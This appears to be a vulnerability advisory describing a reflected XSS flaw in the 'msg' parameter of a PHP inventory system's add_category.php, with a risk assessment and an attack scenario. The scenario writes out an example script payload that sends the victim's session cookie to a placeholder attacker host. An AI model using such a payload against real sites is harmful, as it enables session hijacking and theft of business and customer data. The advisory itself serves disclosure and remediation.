PHP EUVD-2026-17096

Although CVSS score and vector data are unavailable, multiple signals confirm moderate-to-high real-world risk. Reflected XSS vulnerabilities typically require user interaction (clicking a malicious link), which classifies them as user-assisted attacks rather than direct remote code execution. However, the public availability of exploit code significantly elevates practical risk beyond the technical severity alone. The vulnerability affects an unauthenticated parameter in a web-facing application component, meaning attackers require no credentials. For inventory management systems handling sensitive business and customer data, successful exploitation can lead to theft of session cookies, exfiltration of sales records, or injection of malicious content targeting store employees and customers. The absence of CVSS metrics prevents structured risk prioritization, but the combination of public POC availability, ease of exploitation, and high-value target data (sales/inventory records) warrants immediate remediation in operational deployments.

An attacker crafts a malicious URL containing JavaScript code in the 'msg' parameter (e.g., add_category.php?msg=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>) and sends it to store staff via email or social engineering. When an employee clicks the link while logged into the inventory system, the injected script executes in their browser, stealing their session cookie and transmitting it to the attacker's server. The attacker then uses the stolen cookie to gain authenticated access to the inventory system, allowing them to modify product prices, delete inventory records, or exfiltrate customer data. Publicly available proof-of-concept code lowers the barrier to entry for attackers without advanced technical skills.